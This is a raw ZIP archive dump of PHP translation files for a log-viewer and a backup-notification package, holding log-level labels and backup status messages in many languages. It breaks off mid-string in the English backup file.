�Z��0 vendor/log-viewer/it/levels.phpnu �[��� <?php return [ 'all' => 'Tutti', 'emergency' => 'Emergenza', 'alert' => 'Allarme', 'critical' => 'Critico', 'error' => 'Errore', 'warning' => 'Avviso', 'notice' => 'Notifica', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Z. # vendor/log-viewer/it/general.phpnu �[��� <?php return [ 'all' => 'Tutti', 'date' => 'Data', 'empty-logs' => 'L\'elenco dei log è vuoto!', ]; PK G �Z�K�Q� � vendor/log-viewer/th/levels.phpnu �[��� <?php return [ 'all' => 'ทั้งหมด', 'emergency' => 'ฉุกเฉิน', 'alert' => 'วิกฤติ', 'critical' => 'ร้ายแรง', 'error' => 'ข้อผิดพลาด', 'warning' => 'คำเตือน', 'notice' => 'ประกาศ', 'info' => 'ข้อมูล', 'debug' => 'ดีบัก', ]; PK G �Z�|v � � vendor/log-viewer/th/general.phpnu �[��� <?php return [ 'all' => 'ทั้งหมด', 'date' => 'วันที่', 'empty-logs' => 'ไม่มีรายการล็อก!', ]; PK G �Z��+o vendor/log-viewer/en/levels.phpnu �[��� <?php return [ 'all' => 'All', 'emergency' => 'Emergency', 'alert' => 'Alert', 'critical' => 'Critical', 'error' => 'Error', 'warning' => 'Warning', 'notice' => 'Notice', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Z��| | vendor/log-viewer/en/general.phpnu �[��� <?php return [ 'all' => 'All', 'date' => 'Date', 'empty-logs' => 'The list of logs is empty!', ]; PK G �ZR�S�' ' vendor/log-viewer/ja/levels.phpnu �[��� <?php return [ 'all' => 'すべて', 'emergency' => '緊急', 'alert' => '警戒', 'critical' => '致命的', 'error' => 'エラー', 'warning' => '警告', 'notice' => '通知', 'info' => '情報', 'debug' => 'デバッグ', ]; PK G �Z�ld� � vendor/log-viewer/ja/general.phpnu �[��� <?php return [ 'all' => 'すべて', 'date' => '日付', 'empty-logs' => 'ログリストが空です!', ]; PK G �Z�(/ / vendor/log-viewer/pl/levels.phpnu �[��� <?php return [ 'all' => 'Wszystkie', 'emergency' => 'Awaryjne', 'alert' => 'Alerty', 'critical' => 'Krytyczne', 'error' => 'Błędy', 'warning' => 'Ostrzeżenia', 'notice' => 'Warte uwagi', 'info' => 'Informacje', 'debug' => 'Debug', ]; PK G �Z��.� � vendor/log-viewer/pl/general.phpnu �[��� <?php return [ 'all' => 'Wszystkie', 'date' => 'Data', 'empty-logs' => 'Lista logów jest pusta!', ]; PK G �ZـT� vendor/log-viewer/de/levels.phpnu �[��� <?php return [ 'all' => 'Alle', 'emergency' => 'Notfall', 'alert' => 'Alarm', 'critical' => 'Kritisch', 'error' => 'Fehler', 'warning' => 'Warnung', 'notice' => 'Hinweis', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Zz�0� vendor/log-viewer/de/general.phpnu �[��� <?php return [ 'all' => 'Alle', 'date' => 'Datum', 'empty-logs' => 'Keine Log Dateien gefunden!', ]; PK G �Z��ƌ � vendor/log-viewer/ru/levels.phpnu �[��� <?php return [ 'all' => 'Все', 'emergency' => 'Аварийная', 'alert' => 'Предупреждение', 'critical' => 'Критический', 'error' => 'Ошибка', 'warning' => 'Предупреждение', 'notice' => 'Уведомление', 'info' => 'Информация', 'debug' => 'Отладка', ]; PK G �Zs� Y� � vendor/log-viewer/ru/general.phpnu �[��� <?php return [ 'all' => 'Все', 'date' => 'Дата', 'empty-logs' => 'Список журналов пуст!', ]; PK G �Z�}j� " vendor/log-viewer/zh-TW/levels.phpnu �[��� <?php return [ 'all' => '全部', 'emergency' => '緊急', 'alert' => '警報', 'critical' => '嚴重', 'error' => '錯誤', 'warning' => '警告', 'notice' => '注意', 'info' => '訊息', 'debug' => '除錯', ]; PK G �Z�օ � # vendor/log-viewer/zh-TW/general.phpnu �[��� <?php return [ 'all' => '全部', 'date' => '日期', 'empty-logs' => '列表中沒有任何紀錄！', ]; PK G �Z ��S S vendor/log-viewer/ar/levels.phpnu �[��� <?php return [ 'all' => 'الجميع', 'emergency' => 'حالات الطوارئ', 'alert' => 'إنذار', 'critical' => 'حرج', 'error' => 'خطأ', 'warning' => 'تحذير', 'notice' => 'ملاحظة', 'info' => 'المعلومات', 'debug' => 'التصحيح', ]; PK G �Z��#Ȏ � vendor/log-viewer/ar/general.phpnu �[��� <?php return [ 'all' => 'جميع', 'date' => 'تاريخ', 'empty-logs' => 'قائمة سجلات فارغة!', ]; PK G �Z��,�" " " vendor/log-viewer/pt-BR/levels.phpnu �[��� <?php return [ 'all' => 'Todos', 'emergency' => 'Emergência', 'alert' => 'Alerta', 'critical' => 'Crítico', 'error' => 'Erro', 'warning' => 'Aviso', 'notice' => 'Notícia', 'info' => 'Informação', 'debug' => 'Debug', ]; PK G �Ziy�� � # vendor/log-viewer/pt-BR/general.phpnu �[��� <?php return [ 'all' => 'Todos', 'date' => 'Data', 'empty-logs' => 'A lista de logs está vazia!', ]; PK G �ZP��~ ~ vendor/log-viewer/uk/levels.phpnu �[��� <?php return [ 'all' => 'Всі', 'emergency' => 'Аварійна', 'alert' => 'Попередження', 'critical' => 'Критична', 'error' => 'Помилка', 'warning' => 'Попереждення', 'notice' => 'Сповіщення', 'info' => 'Інформація', 'debug' => 'Відладка', ]; PK G �Z�v� � vendor/log-viewer/uk/general.phpnu �[��� <?php return [ 'all' => 'Всі', 'date' => 'Дата', 'empty-logs' => 'Список журналів порожній!', ]; PK G �Zoz)= = vendor/log-viewer/hu/levels.phpnu �[��� <?php return [ 'all' => 'Összes', 'emergency' => 'Vészhelyzet', 'alert' => 'Riasztás', 'critical' => 'Kritikus', 'error' => 'Hiba', 'warning' => 'Figyelmeztetés', 'notice' => 'Értesítés', 'info' => 'Információ', 'debug' => 'Hibakeresés', ]; PK G �Z�a� � vendor/log-viewer/hu/general.phpnu �[��� <?php return [ 'all' => 'Összes', 'date' => 'Dátum', 'empty-logs' => 'The list of logs is empty!', ]; PK G �Z�E� � vendor/log-viewer/hy/levels.phpnu �[��� <?php return [ 'all' => 'Բոլորը', 'emergency' => 'Վթարային', 'alert' => 'Նախազգուշացում', 'critical' => 'Կրիտիկական', 'error' => 'Սխալ', 'warning' => 'Նախազգուշացում', 'notice' => 'Ծանուցում', 'info' => 'Տեղեկատվություն', 'debug' => 'Կարգաբերում', ]; PK G �Z�UJp� � vendor/log-viewer/hy/general.phpnu �[��� <?php return [ 'all' => 'Բոլորը', 'date' => 'Ամսաթիվ', 'empty-logs' => 'Լոգերի ցուցակը դատարկ է։', ]; PK G �Zw�0� vendor/log-viewer/fr/levels.phpnu �[��� <?php return [ 'all' => 'Tous', 'emergency' => 'Urgence', 'alert' => 'Alerte', 'critical' => 'Critique', 'error' => 'Erreur', 'warning' => 'Avertissement', 'notice' => 'Notice', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Z`Ma�~ ~ vendor/log-viewer/fr/general.phpnu �[��� <?php return [ 'all' => 'Tous', 'date' => 'Date', 'empty-logs' => 'La liste des logs est vide!', ]; PK G �Z �k� vendor/log-viewer/ko/levels.phpnu �[��� <?php return [ 'all' => '전체', 'emergency' => '긴급', 'alert' => '경고', 'critical' => '심각', 'error' => '오류', 'warning' => '주의', 'notice' => '알림', 'info' => '정보', 'debug' => '디버그', ]; PK G �Z�]fa~ ~ vendor/log-viewer/ko/general.phpnu �[��� <?php return [ 'all' => '전체', 'date' => '날짜', 'empty-logs' => '로그가 없습니다.', ]; PK G �ZJ��i vendor/log-viewer/tr/levels.phpnu �[��� <?php return [ 'all' => 'Tümü', 'emergency' => 'Acil', 'alert' => 'Alarm', 'critical' => 'Kritik', 'error' => 'Hata', 'warning' => 'Uyarı', 'notice' => 'Bildirim', 'info' => 'Bilgi', 'debug' => 'Hata ayıklama', ]; PK G �Z٪8�| | vendor/log-viewer/tr/general.phpnu �[��� <?php return [ 'all' => 'Tümü', 'date' => 'Tarih', 'empty-logs' => 'Günlük listesi boş!', ]; PK G �Z�]��% % vendor/log-viewer/nl/levels.phpnu �[��� <?php return [ 'all' => 'Alle', 'emergency' => 'Noodgeval', 'alert' => 'Alarm', 'critical' => 'Cruciaal', 'error' => 'Error', 'warning' => 'Waarschuwing', 'notice' => 'Opmerking', 'info' => 'Informatie', 'debug' => 'Debug', ]; PK G �ZD>�� vendor/log-viewer/nl/general.phpnu �[��� <?php return [ 'all' => 'Alles', 'date' => 'Datum', 'empty-logs' => 'De lijst met logs is leeg!', ]; PK G �Z���@ @ vendor/log-viewer/fa/levels.phpnu �[��� <?php return [ 'all' => 'همه', 'emergency' => 'اورژانسی', 'alert' => 'اخطار', 'critical' => 'بحرانی', 'error' => 'خطا', 'warning' => 'هشدار', 'notice' => 'اعلان', 'info' => 'اطلاعات', 'debug' => 'دیباگ', ]; PK G �Z ��ɜ � vendor/log-viewer/fa/general.phpnu �[��� <?php return [ 'all' => 'همه', 'date' => 'تاریخ', 'empty-logs' => 'چیزی برای نمایش وجود ندارد!', ]; PK G �Z3mH� vendor/log-viewer/et/levels.phpnu �[��� <?php return [ 'all' => 'Kõik', 'emergency' => 'Erakorraline', 'alert' => 'Häire', 'critical' => 'Kriitiline', 'error' => 'Viga', 'warning' => 'Hoiatus', 'notice' => 'Teade', 'info' => 'Info', 'debug' => 'Silumine', ]; PK G �Z�2ZV� � vendor/log-viewer/et/general.phpnu �[��� <?php return [ 'all' => 'Kõik', 'date' => 'Kuupäev', 'empty-logs' => 'Logide nimekiri on tühi!', ]; PK G �ZP+�La a " vendor/backup/bg/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Съобщение за изключение: :message', 'exception_trace' => 'Проследяване на изключение: :trace', 'exception_message_title' => 'Съобщение за изключение', 'exception_trace_title' => 'Проследяване на изключение', 'backup_failed_subject' => 'Неуспешно резервно копие на :application_name', 'backup_failed_body' => 'Важно: Възникна грешка при архивиране на :application_name', 'backup_successful_subject' => 'Успешно ново резервно копие на :application_name', 'backup_successful_subject_title' => 'Успешно ново резервно копие!', 'backup_successful_body' => 'Чудесни новини, ново резервно копие на :application_name беше успешно създадено на диска с име :disk_name.', 'cleanup_failed_subject' => 'Почистването на резервните копия на :application_name не бе успешно.', 'cleanup_failed_body' => 'Възникна грешка при почистването на резервните копия на :application_name', 'cleanup_successful_subject' => 'Почистването на архивите на :application_name е успешно', 'cleanup_successful_subject_title' => 'Почистването на резервните копия е успешно!', 'cleanup_successful_body' => 'Почистването на резервни копия на :application_name на диска с име :disk_name беше успешно.', 'healthy_backup_found_subject' => 'Резервните копия за :application_name на диск :disk_name са здрави', 'healthy_backup_found_subject_title' => 'Резервните копия за :application_name са здрави', 'healthy_backup_found_body' => 'Резервните копия за :application_name се считат за здрави. Добра работа!', 'unhealthy_backup_found_subject' => 'Важно: Резервните копия за :application_name не са здрави', 'unhealthy_backup_found_subject_title' => 'Важно: Резервните копия за :application_name не са здрави. :проблем', 'unhealthy_backup_found_body' => 'Резервните копия за :application_name на диск :disk_name не са здрави.', 'unhealthy_backup_found_not_reachable' => 'Дестинацията за резервни копия не може да бъде достигната. :грешка', 'unhealthy_backup_found_empty' => 'Изобщо няма резервни копия на това приложение.', 'unhealthy_backup_found_old' => 'Последното резервно копие, направено на :date, се счита за твърде старо.', 'unhealthy_backup_found_unknown' => 'За съжаление не може да се определи точна причина.', 'unhealthy_backup_found_full' => 'Резервните копия използват твърде много място за съхранение. Текущото използване е :disk_usage, което е по-високо от разрешеното ограничение на :disk_limit.', 'no_backups_info' => 'Все още не са правени резервни копия', 'application_name' => 'Име на приложението', 'backup_name' => 'Име на резервно копие', 'disk' => 'Диск', 'newest_backup_size' => 'Най-новият размер на резервно копие', 'number_of_backups' => 'Брой резервни копия', 'total_storage_used' => 'Общо използвано дисково пространство', 'newest_backup_date' => 'Най-нова дата на резервно копие', 'oldest_backup_date' => 'Най-старата дата на резервно копие', ]; PK G �ZJ8$[ " vendor/backup/es/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Mensaje de la excepción: :message', 'exception_trace' => 'Traza de la excepción: :trace', 'exception_message_title' => 'Mensaje de la excepción', 'exception_trace_title' => 'Traza de la excepción', 'backup_failed_subject' => 'Copia de seguridad de :application_name fallida', 'backup_failed_body' => 'Importante: Ocurrió un error al realizar la copia de seguridad de :application_name', 'backup_successful_subject' => 'Se completó con éxito la copia de seguridad de :application_name', 'backup_successful_subject_title' => '¡Nueva copia de seguridad creada con éxito!', 'backup_successful_body' => 'Buenas noticias, una nueva copia de seguridad de :application_name fue creada con éxito en el disco llamado :disk_name.', 'cleanup_failed_subject' => 'La limpieza de copias de seguridad de :application_name falló.', 'cleanup_failed_body' => 'Ocurrió un error mientras se realizaba la limpieza de copias de seguridad de :application_name', 'cleanup_successful_subject' => 'La limpieza de copias de seguridad de :application_name se completó con éxito', 'cleanup_successful_subject_title' => '!Limpieza de copias de seguridad completada con éxito!', 'cleanup_successful_body' => 'La limpieza de copias de seguridad de :application_name en el disco llamado :disk_name se completo con éxito.', 'healthy_backup_found_subject' => 'Las copias de seguridad de :application_name en el disco :disk_name están en buen estado', 'healthy_backup_found_subject_title' => 'Las copias de seguridad de :application_name están en buen estado', 'healthy_backup_found_body' => 'Las copias de seguridad de :application_name se consideran en buen estado. ¡Buen trabajo!', 'unhealthy_backup_found_subject' => 'Importante: Las copias de seguridad de :application_name están en mal estado', 'unhealthy_backup_found_subject_title' => 'Importante: Las copias de seguridad de :application_name están en mal estado. :problem', 'unhealthy_backup_found_body' => 'Las copias de seguridad de :application_name en el disco :disk_name están en mal estado.', 'unhealthy_backup_found_not_reachable' => 'No se puede acceder al destino de la copia de seguridad. :error', 'unhealthy_backup_found_empty' => 'No existe ninguna copia de seguridad de esta aplicación.', 'unhealthy_backup_found_old' => 'La última copia de seguriad hecha en :date es demasiado antigua.', 'unhealthy_backup_found_unknown' => 'Lo siento, no es posible determinar la razón exacta.', 'unhealthy_backup_found_full' => 'Las copias de seguridad están ocupando demasiado espacio. El espacio utilizado actualmente es :disk_usage el cual es mayor que el límite permitido de :disk_limit.', 'no_backups_info' => 'Aún no se hicieron copias de seguridad', 'application_name' => 'Nombre de la aplicación', 'backup_name' => 'Nombre de la copia de seguridad', 'disk' => 'Disco', 'newest_backup_size' => 'Tamaño de copia de seguridad más reciente', 'number_of_backups' => 'Número de copias de seguridad', 'total_storage_used' => 'Almacenamiento total utilizado', 'newest_backup_date' => 'Fecha de la copia de seguridad más reciente', 'oldest_backup_date' => 'Fecha de la copia de seguridad más antigua', ]; PK G �ZS�"<� � " vendor/backup/pt/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Exception message: :message', 'exception_trace' => 'Exception trace: :trace', 'exception_message_title' => 'Exception message', 'exception_trace_title' => 'Exception trace', 'backup_failed_subject' => 'Falha no backup da aplicação :application_name', 'backup_failed_body' => 'Importante: Ocorreu um erro ao executar o backup da aplicação :application_name', 'backup_successful_subject' => 'Backup realizado com sucesso: :application_name', 'backup_successful_subject_title' => 'Backup Realizado com Sucesso!', 'backup_successful_body' => 'Boas notícias, foi criado um novo backup no disco :disk_name referente à aplicação :application_name.', 'cleanup_failed_subject' => 'Falha na limpeza dos backups da aplicação :application_name.', 'cleanup_failed_body' => 'Ocorreu um erro ao executar a limpeza dos backups da aplicação :application_name', 'cleanup_successful_subject' => 'Limpeza dos backups da aplicação :application_name concluída!', 'cleanup_successful_subject_title' => 'Limpeza dos backups concluída!', 'cleanup_successful_body' => 'Concluída a limpeza dos backups da aplicação :application_name no disco :disk_name.', 'healthy_backup_found_subject' => 'Os backups da aplicação :application_name no disco :disk_name estão em dia', 'healthy_backup_found_subject_title' => 'Os backups da aplicação :application_name estão em dia', 'healthy_backup_found_body' => 'Os backups da aplicação :application_name estão em dia. Bom trabalho!', 'unhealthy_backup_found_subject' => 'Importante: Os backups da aplicação :application_name não estão em dia', 'unhealthy_backup_found_subject_title' => 'Importante: Os backups da aplicação :application_name não estão em dia. :problem', 'unhealthy_backup_found_body' => 'Os backups da aplicação :application_name no disco :disk_name não estão em dia.', 'unhealthy_backup_found_not_reachable' => 'O destino dos backups não pode ser alcançado. :error', 'unhealthy_backup_found_empty' => 'Não existem backups para essa aplicação.', 'unhealthy_backup_found_old' => 'O último backup realizado em :date é demasiado antigo.', 'unhealthy_backup_found_unknown' => 'Desculpe, impossível determinar a razão exata.', 'unhealthy_backup_found_full' => 'Os backups estão a utilizar demasiado espaço de armazenamento. A utilização atual é de :disk_usage, o que é maior que o limite permitido de :disk_limit.', 'no_backups_info' => 'Nenhum backup foi feito ainda', 'application_name' => 'Nome da Aplicação', 'backup_name' => 'Nome de backup', 'disk' => 'Disco', 'newest_backup_size' => 'Tamanho de backup mais recente', 'number_of_backups' => 'Número de backups', 'total_storage_used' => 'Armazenamento total usado', 'newest_backup_date' => 'Tamanho de backup mais recente', 'oldest_backup_date' => 'Tamanho de backup mais antigo', ]; PK G �Z��w�� � " vendor/backup/ro/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Cu excepția mesajului: :message', 'exception_trace' => 'Urmă excepţie: :trace', 'exception_message_title' => 'Mesaj de excepție', 'exception_trace_title' => 'Urmă excepţie', 'backup_failed_subject' => 'Nu s-a putut face copie de rezervă pentru :application_name', 'backup_failed_body' => 'Important: A apărut o eroare în timpul generării copiei de rezervă pentru :application_name', 'backup_successful_subject' => 'Copie de rezervă efectuată cu succes pentru :application_name', 'backup_successful_subject_title' => 'O nouă copie de rezervă a fost efectuată cu succes!', 'backup_successful_body' => 'Vești bune, o nouă copie de rezervă pentru :application_name a fost creată cu succes pe discul cu numele :disk_name.', 'cleanup_failed_subject' => 'Curățarea copiilor de rezervă pentru :application_name nu a reușit.', 'cleanup_failed_body' => 'A apărut o eroare în timpul curățirii copiilor de rezervă pentru :application_name', 'cleanup_successful_subject' => 'Curățarea copiilor de rezervă pentru :application_name a fost făcută cu succes', 'cleanup_successful_subject_title' => 'Curățarea copiilor de rezervă a fost făcută cu succes!', 'cleanup_successful_body' => 'Curățarea copiilor de rezervă pentru :application_name de pe discul cu numele :disk_name a fost făcută cu succes.', 'healthy_backup_found_subject' => 'Copiile de rezervă pentru :application_name de pe discul :disk_name sunt în regulă', 'healthy_backup_found_subject_title' => 'Copiile de rezervă pentru :application_name sunt în regulă', 'healthy_backup_found_body' => 'Copiile de rezervă pentru :application_name sunt considerate în regulă. Bună treabă!', 'unhealthy_backup_found_subject' => 'Important: Copiile de rezervă pentru :application_name nu sunt în regulă', 'unhealthy_backup_found_subject_title' => 'Important: Copiile de rezervă pentru :application_name nu sunt în regulă. :problem', 'unhealthy_backup_found_body' => 'Copiile de rezervă pentru :application_name de pe discul :disk_name nu sunt în regulă.', 'unhealthy_backup_found_not_reachable' => 'Nu se poate ajunge la destinația copiilor de rezervă. :error', 'unhealthy_backup_found_empty' => 'Nu există copii de rezervă ale acestei aplicații.', 'unhealthy_backup_found_old' => 'Cea mai recentă copie de rezervă făcută la :date este considerată prea veche.', 'unhealthy_backup_found_unknown' => 'Ne pare rău, un motiv exact nu poate fi determinat.', 'unhealthy_backup_found_full' => 'Copiile de rezervă folosesc prea mult spațiu de stocare. Utilizarea curentă este de :disk_usage care este mai mare decât limita permisă de :disk_limit.', 'no_backups_info' => 'Nu s-au făcut încă copii de rezervă', 'application_name' => 'Numele aplicatiei', 'backup_name' => 'Numele de rezervă', 'disk' => 'Disc', 'newest_backup_size' => 'Cea mai nouă dimensiune de rezervă', 'number_of_backups' => 'Număr de copii de rezervă', 'total_storage_used' => 'Spațiu total de stocare utilizat', 'newest_backup_date' => 'Cea mai nouă dimensiune de rezervă', 'oldest_backup_date' => 'Cea mai veche dimensiune de rezervă', ]; PK G �Z�}�� � " vendor/backup/fi/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Virheilmoitus: :message', 'exception_trace' => 'Virhe, jäljitys: :trace', 'exception_message_title' => 'Virheilmoitus', 'exception_trace_title' => 'Virheen jäljitys', 'backup_failed_subject' => ':application_name varmuuskopiointi epäonnistui', 'backup_failed_body' => 'HUOM!: :application_name varmuuskoipionnissa tapahtui virhe', 'backup_successful_subject' => ':application_name varmuuskopioitu onnistuneesti', 'backup_successful_subject_title' => 'Uusi varmuuskopio!', 'backup_successful_body' => 'Hyviä uutisia! :application_name on varmuuskopioitu levylle :disk_name.', 'cleanup_failed_subject' => ':application_name varmuuskopioiden poistaminen epäonnistui.', 'cleanup_failed_body' => ':application_name varmuuskopioiden poistamisessa tapahtui virhe.', 'cleanup_successful_subject' => ':application_name varmuuskopiot poistettu onnistuneesti', 'cleanup_successful_subject_title' => 'Varmuuskopiot poistettu onnistuneesti!', 'cleanup_successful_body' => ':application_name varmuuskopiot poistettu onnistuneesti levyltä :disk_name.', 'healthy_backup_found_subject' => ':application_name varmuuskopiot levyllä :disk_name ovat kunnossa', 'healthy_backup_found_subject_title' => ':application_name varmuuskopiot ovat kunnossa', 'healthy_backup_found_body' => ':application_name varmuuskopiot ovat kunnossa. Hieno homma!', 'unhealthy_backup_found_subject' => 'HUOM!: :application_name varmuuskopiot ovat vialliset', 'unhealthy_backup_found_subject_title' => 'HUOM!: :application_name varmuuskopiot ovat vialliset. :problem', 'unhealthy_backup_found_body' => ':application_name varmuuskopiot levyllä :disk_name ovat vialliset.', 'unhealthy_backup_found_not_reachable' => 'Varmuuskopioiden kohdekansio ei ole saatavilla. :error', 'unhealthy_backup_found_empty' => 'Tästä sovelluksesta ei ole varmuuskopioita.', 'unhealthy_backup_found_old' => 'Viimeisin varmuuskopio, luotu :date, on liian vanha.', 'unhealthy_backup_found_unknown' => 'Virhe, tarkempaa tietoa syystä ei valitettavasti ole saatavilla.', 'unhealthy_backup_found_full' => 'Varmuuskopiot vievät liikaa levytilaa. Tällä hetkellä käytössä :disk_usage, mikä on suurempi kuin sallittu tilavuus (:disk_limit).', 'no_backups_info' => 'Varmuuskopioita ei vielä tehty', 'application_name' => 'Sovelluksen nimi', 'backup_name' => 'Varmuuskopion nimi', 'disk' => 'Levy', 'newest_backup_size' => 'Uusin varmuuskopion koko', 'number_of_backups' => 'Varmuuskopioiden määrä', 'total_storage_used' => 'Käytetty tallennustila yhteensä', 'newest_backup_date' => 'Uusin varmuuskopion koko', 'oldest_backup_date' => 'Vanhin varmuuskopion koko', ]; PK G �Z�s� " vendor/backup/cs/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Zpráva výjimky: :message', 'exception_trace' => 'Stopa výjimky: :trace', 'exception_message_title' => 'Zpráva výjimky', 'exception_trace_title' => 'Stopa výjimky', 'backup_failed_subject' => 'Záloha :application_name neuspěla', 'backup_failed_body' => 'Důležité: Při záloze :application_name se vyskytla chyba', 'backup_successful_subject' => 'Úspěšná nová záloha :application_name', 'backup_successful_subject_title' => 'Úspěšná nová záloha!', 'backup_successful_body' => 'Dobrá zpráva, na disku jménem :disk_name byla úspěšně vytvořena nová záloha :application_name.', 'cleanup_failed_subject' => 'Vyčištění záloh :application_name neuspělo.', 'cleanup_failed_body' => 'Při čištění záloh :application_name se vyskytla chyba', 'cleanup_successful_subject' => 'Vyčištění záloh :application_name úspěšné', 'cleanup_successful_subject_title' => 'Vyčištění záloh bylo úspěšné!', 'cleanup_successful_body' => 'Vyčištění záloh :application_name na disku jménem :disk_name bylo úspěšné.', 'healthy_backup_found_subject' => 'Zálohy pro :application_name na disku :disk_name jsou zdravé', 'healthy_backup_found_subject_title' => 'Zálohy pro :application_name jsou zdravé', 'healthy_backup_found_body' => 'Zálohy pro :application_name jsou považovány za zdravé. Dobrá práce!', 'unhealthy_backup_found_subject' => 'Důležité: Zálohy pro :application_name jsou nezdravé', 'unhealthy_backup_found_subject_title' => 'Důležité: Zálohy pro :application_name jsou nezdravé. :problem', 'unhealthy_backup_found_body' => 'Zálohy pro :application_name na disku :disk_name jsou nezdravé.', 'unhealthy_backup_found_not_reachable' => 'Nelze se dostat k cíli zálohy. :error', 'unhealthy_backup_found_empty' => 'Tato aplikace nemá vůbec žádné zálohy.', 'unhealthy_backup_found_old' => 'Poslední záloha vytvořená dne :date je považována za příliš starou.', 'unhealthy_backup_found_unknown' => 'Omlouváme se, nemůžeme určit přesný důvod.', 'unhealthy_backup_found_full' => 'Zálohy zabírají příliš mnoho místa na disku. Aktuální využití disku je :disk_usage, což je vyšší než povolený limit :disk_limit.', 'no_backups_info' => 'Zatím nebyly vytvořeny žádné zálohy', 'application_name' => 'Název aplikace', 'backup_name' => 'Název zálohy', 'disk' => 'Disk', 'newest_backup_size' => 'Velikost nejnovější zálohy', 'number_of_backups' => 'Počet záloh', 'total_storage_used' => 'Celková využitá kapacita úložiště', 'newest_backup_date' => 'Datum nejnovější zálohy', 'oldest_backup_date' => 'Datum nejstarší zálohy', ]; PK G �Z�Y�� � " vendor/backup/id/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Pesan pengecualian: :message', 'exception_trace' => 'Jejak pengecualian: :trace', 'exception_message_title' => 'Pesan pengecualian', 'exception_trace_title' => 'Jejak pengecualian', 'backup_failed_subject' => 'Gagal backup :application_name', 'backup_failed_body' => 'Penting: Sebuah error terjadi ketika membackup :application_name', 'backup_successful_subject' => 'Backup baru sukses dari :application_name', 'backup_successful_subject_title' => 'Backup baru sukses!', 'backup_successful_body' => 'Kabar baik, sebuah backup baru dari :application_name sukses dibuat pada disk bernama :disk_name.', 'cleanup_failed_subject' => 'Membersihkan backup dari :application_name yang gagal.', 'cleanup_failed_body' => 'Sebuah error teradi ketika membersihkan backup dari :application_name', 'cleanup_successful_subject' => 'Sukses membersihkan backup :application_name', 'cleanup_successful_subject_title' => 'Sukses membersihkan backup!', 'cleanup_successful_body' => 'Pembersihan backup :application_name pada disk bernama :disk_name telah sukses.', 'healthy_backup_found_subject' => 'Backup untuk :application_name pada disk :disk_name sehat', 'healthy_backup_found_subject_title' => 'Backup untuk :application_name sehat', 'healthy_backup_found_body' => 'Backup untuk :application_name dipertimbangkan sehat. Kerja bagus!', 'unhealthy_backup_found_subject' => 'Penting: Backup untuk :application_name tidak sehat', 'unhealthy_backup_found_subject_title' => 'Penting: Backup untuk :application_name tidak sehat. :problem', 'unhealthy_backup_found_body' => 'Backup untuk :application_name pada disk :disk_name tidak sehat.', 'unhealthy_backup_found_not_reachable' => 'Tujuan backup tidak dapat terjangkau. :error', 'unhealthy_backup_found_empty' => 'Tidak ada backup pada aplikasi ini sama sekali.', 'unhealthy_backup_found_old' => 'Backup terakhir dibuat pada :date dimana dipertimbahkan sudah sangat lama.', 'unhealthy_backup_found_unknown' => 'Maaf, sebuah alasan persisnya tidak dapat ditentukan.', 'unhealthy_backup_found_full' => 'Backup menggunakan terlalu banyak kapasitas penyimpanan. Penggunaan terkini adalah :disk_usage dimana lebih besar dari batas yang diperbolehkan yaitu :disk_limit.', 'no_backups_info' => 'Belum ada backup yang dibuat', 'application_name' => 'Nama aplikasi', 'backup_name' => 'Nama cadangan', 'disk' => 'Disk', 'newest_backup_size' => 'Ukuran cadangan terbaru', 'number_of_backups' => 'Jumlah cadangan', 'total_storage_used' => 'Total penyimpanan yang digunakan', 'newest_backup_date' => 'Ukuran cadangan terbaru', 'oldest_backup_date' => 'Ukuran cadangan tertua', ]; PK G �Z�I�Gc c " vendor/backup/it/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Messaggio dell\'eccezione: :message', 'exception_trace' => 'Traccia dell\'eccezione: :trace', 'exception_message_title' => 'Messaggio dell\'eccezione', 'exception_trace_title' => 'Traccia dell\'eccezione', 'backup_failed_subject' => 'Fallito il backup di :application_name', 'backup_failed_body' => 'Importante: Si è verificato un errore durante il backup di :application_name', 'backup_successful_subject' => 'Creato nuovo backup di :application_name', 'backup_successful_subject_title' => 'Nuovo backup creato!', 'backup_successful_body' => 'Grande notizia, un nuovo backup di :application_name è stato creato con successo sul disco :disk_name.', 'cleanup_failed_subject' => 'Pulizia dei backup di :application_name fallita.', 'cleanup_failed_body' => 'Si è verificato un errore durante la pulizia dei backup di :application_name', 'cleanup_successful_subject' => 'Pulizia dei backup di :application_name avvenuta con successo', 'cleanup_successful_subject_title' => 'Pulizia dei backup avvenuta con successo!', 'cleanup_successful_body' => 'La pulizia dei backup di :application_name sul disco :disk_name è avvenuta con successo.', 'healthy_backup_found_subject' => 'I backup per :application_name sul disco :disk_name sono sani', 'healthy_backup_found_subject_title' => 'I backup per :application_name sono sani', 'healthy_backup_found_body' => 'I backup per :application_name sono considerati sani. Bel Lavoro!', 'unhealthy_backup_found_subject' => 'Importante: i backup per :application_name sono corrotti', 'unhealthy_backup_found_subject_title' => 'Importante: i backup per :application_name sono corrotti. :problem', 'unhealthy_backup_found_body' => 'I backup per :application_name sul disco :disk_name sono corrotti.', 'unhealthy_backup_found_not_reachable' => 'Impossibile raggiungere la destinazione di backup. :error', 'unhealthy_backup_found_empty' => 'Non esiste alcun backup di questa applicazione.', 'unhealthy_backup_found_old' => 'L\'ultimo backup fatto il :date è considerato troppo vecchio.', 'unhealthy_backup_found_unknown' => 'Spiacenti, non è possibile determinare una ragione esatta.', 'unhealthy_backup_found_full' => 'I backup utilizzano troppa memoria. L\'utilizzo corrente è :disk_usage che è superiore al limite consentito di :disk_limit.', 'no_backups_info' => 'Non sono stati ancora effettuati backup', 'application_name' => 'Nome dell\'applicazione', 'backup_name' => 'Nome di backup', 'disk' => 'Disco', 'newest_backup_size' => 'Dimensione backup più recente', 'number_of_backups' => 'Numero di backup', 'total_storage_used' => 'Spazio di archiviazione totale utilizzato', 'newest_backup_date' => 'Data del backup più recente', 'oldest_backup_date' => 'Data del backup più vecchio', ]; PK G �Z:��H� � " vendor/backup/en/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Exception message: :message', 'exception_trace' => 'Exception trace: :trace', 'exception_message_title' => 'Exception message', 'exception_trace_title' => 'Exception trace', 'backup_failed_subject' => 'Failed backup of 